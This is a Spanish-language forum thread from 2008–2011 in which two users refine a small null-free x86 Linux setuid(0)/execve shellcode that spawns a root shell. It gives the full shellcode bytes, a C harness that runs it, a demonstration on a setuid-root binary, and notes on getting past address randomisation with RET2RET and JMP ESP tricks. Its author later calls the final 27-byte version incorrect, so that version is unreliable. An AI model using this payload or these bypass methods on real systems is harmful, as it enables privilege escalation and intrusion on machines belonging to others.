Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Todo lo que tengas que decir sobre Gnu/Linux y SSOO alternativos.

Moderador: Moderadores

Notapor sch3m4 » Sab Nov 29, 2008 9:49 pm

He probado lo que dices con ambas shellcodes, y no me ha funcionado con ninguna, cómo queda la tuya al final?
sch3m4
:-)
:-)
 
Mensajes: 10
Registrado: Lun Nov 24, 2008 11:45 pm

Notapor vlan7 » Sab Nov 29, 2008 11:16 pm

Pues sch3m4 , la mia yo lo probe con lo ultimo que escribi desensamblado, y la tuya con lo ultimo que tu pusiste de los 2 pushes desensamblado.

Esa fue la prueba que yo hice tio:

Yo compile el programa vulnerable como
gcc vulnerable.c -o vulnerable

Y compile el exploit que propuse como
gcc exploit.c -o exploit

Ahora no puedo probarlo de nuevo porque tengo que irme, pero esa es la prueba que yo hice. Y tu shellcode sin printf funcionaba correctamente, el unico problema lo tenia cuando metia por ahi el printf para que los registros quedaran algo alterados... pero vamos, que sin printf, como ECX y EDX valen 0, tanto la tuya como la mia funcionaban, de hecho la ultima mia podria reducirse a la que ANELKAOS decia que no le funcionaba, aunque eso de que ECX sea 0 no sea muy ortodoxo como se suele decir, pero bueno.

¿Tu como lo estas probando?
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor sch3m4 » Dom Nov 30, 2008 12:22 am

Vaya tela, si es que hay que dormir más......

vlan7, no funcionaba no por el push que hacia demás, sino porque no estaba limpiando edx :/. Estuve haciendo más pruebas, y si no se me pasa nada, ya es estable:

Código: Seleccionar todo
const char shellcode[]= "\x31\xdb"
         "\x8d\x43\x17"
         "\x99"
         "\xcd\x80"
         "\x31\xc9"
         "\x51"
         "\x68\x6e\x2f\x73\x68"
         "\x68\x2f\x2f\x62\x69"
         "\x8d\x41\x0b"
         "\x89\xe3"
         "\xcd\x80";
sch3m4
:-)
:-)
 
Mensajes: 10
Registrado: Lun Nov 24, 2008 11:45 pm

Notapor vlan7 » Dom Nov 30, 2008 7:22 pm

Hola,

Si sch3m4, tu ultima shellcode que has puesto por mi parte confirmo que es valida. Vendria a ser como la mia que ANELKAOS decia que no funcionaba, mismos bytes. Es igual que la mia pero con el XOR ECX,ECX abajo. Si que es valida, si no se nos escapa nada...

Como dije, llevaba años sin tocar este tema de shellcodes y buffer overflows. Bien, el exploit que hice al principio no me funciono, pues hara como 3 años que los chicos del opensource nos pusieron las cosas un poco mas dificiles.

Asi es como hace años explotabamos un buffer overflow, tras encontrar el segmentation fault, rellenabamos la pila asi:

NNNNNNN + S + ESP + ESP

N=NOPs
S=Shellcode

Bien, como ahi me quede yo, eso es lo que probe. La primera en la frente, no conseguia explotar ningun buffer overflow.

Resulta que en los kernels 2.6 pusieron un patch VA, que nos complicaba un poco la cosa. Basicamente lo que hacia era hacer aleatoria la direccion donde comienza el programa cada vez que es ejecutado. Esto se puede ver haciendo

Código: Seleccionar todo
cat /proc/self/maps


Cada vez una direccion distinta...

Hay varias formas de superar esto, quizas la mas elegante seria la de usar un numero magico, E4FF. Eso es un JMP ESP , y la solucion que daba la comunidad era incrustar ese codigo en una variable dentro del mismo programa. Entonces podriamos explotar un buffer overflow a la old-skool. Lo unico sucio es que requiere modificar el programa a explotar, pero la solucion es ingeniosa. Esto se puede ver en un paper de un tal Izik llamado "Smack the Stack. Advanced Buffer Overflow Methods".

Yo lo que hice fue algo parecido a lo que el denomino RET2RET. Como el bien dice, un RET es similar a un NOP, solo que ademas de hacer un POP (a EAX) decrementa ESP en 4 bytes, por lo que cada vez nos acercamos mas a apuntar a nuestra shellcode. De ahi el segundo parametro del offset que puse. A la old-skool el segundo parametro seria siempre un 0, en un kernel 2.6 sin parchear o un 2.4 funcionaria siempre con un 0.

Hay otros "approaches" interesantes, como uno que un tal phetips comenta en milw0rm. Lo llama "Returning to %esp (Circumveting the VA kernel patch For Fun and Profit).

Todo esto ocurria en 2006, y sigue siendo valido a dia de hoy. Seguramente en kernels securizados con SElinux y bastillas similares, exista alguna proteccion mas, la verdad es que no lo se, lo que se es que en las caracteristicas de estos kernels "bastellizados" se añaden protecciones extra a Buffer Overflows. Si alguien sabe algo...

Bueno sch3m4, parece que ya hemos llegado a un punto comun. Quiero dar las gracias al azar, por toparme con tu proyecto en opensec.es y a ti por permitirme(nos) jugar a este juego.

Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor sch3m4 » Dom Nov 30, 2008 10:26 pm

Totalmente de acuerdo =)

Quiero dar las gracias al azar, por toparme con tu proyecto en opensec.es y a ti por permitirme(nos) jugar a este juego.


Lo mismo digo ;)

Por cierto, http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5140 BoF, HoF, Format String... Está entretenido
sch3m4
:-)
:-)
 
Mensajes: 10
Registrado: Lun Nov 24, 2008 11:45 pm

Notapor vlan7 » Sab Jul 04, 2009 9:00 am

Como no sabia que era imposible lo hice :)

27 bytes :)

PoC:

Código: Seleccionar todo
[email protected]:~# cat execve.c
#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER tha push/$
                 "\x99" //cdq
                 "\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
                 "\xb0\x0b" //mov al,0bh
                 "\x52" //push edx /Termina la cadena //bin/sh con un 0
                 "\x68\x6e\x2f\x73\x68" //push dword "hs/n"
                 "\x68\x2f\x2f\x62\x69" //push dword "ib//"
                 "\x89\xe3" //mov ebx,esp
                 "\x89\xd1" //mov ecx,edx
                 "\xcd\x80"; //int 80h

int main()
{

(...)
        (*(void (*)()) sc)();
        return 0;
}


Código: Seleccionar todo
[email protected]:~# gcc execve.c
[email protected]:~# chmod u+s a.out
[email protected]:~# ls -la a.out
-rwsr-xr-x 1 root root 9063 2009-07-04 16:37 a.out
$ [email protected]:~# su vlan7
$ ./a.out

SMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL

Coded by vlan7
         + vlan7[at]bigfoot.com
         + http://vlan7.blogspot.com

[+] Date: 4/Jul/2009
[+] Thanks to: sch3m4

[+] Shellcode Size: 27 bytes

#


Voy a citar de aqui el funcionamiento de setuid().

[s]RETURN VALUE[/s]

Upon successful completion, 0 shall be returned. Otherwise, -1 shall be returned and errno set to indicate the error.

[s]ERRORS[/s]

The setuid() function shall fail, return -1, and set errno to the corresponding value if one or more of the following are true:


Veamos si entramos en alguno de los casos:

[EINVAL]
The value of the uid argument is invalid and not supported by the implementation


No. UID=0 es un UID valido.[/quote]

[EPERM]
The process does not have appropriate privileges and uid does not match the real user ID or the saved set-user-ID.


Logicamente, esto quiere decir que solo explota archivos SUID. Pero es normal, si queremos una shell sin privilegios no metemos setuid(0) en la SC, simplemente lanzamos el execve.

Stay clean,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Smallest GNU/Linux x86 setuid/execve shellcode without N

Notapor vlan7 » Mar Jun 07, 2011 12:22 pm

No es correcta la ultima, fue escrita sin probarla en la practica en un exploit. Menos de 28 bytes no creo que pueda hacerse.

Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Anterior

Volver a Gnu/Linux y SSOO alternativos

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 3 invitados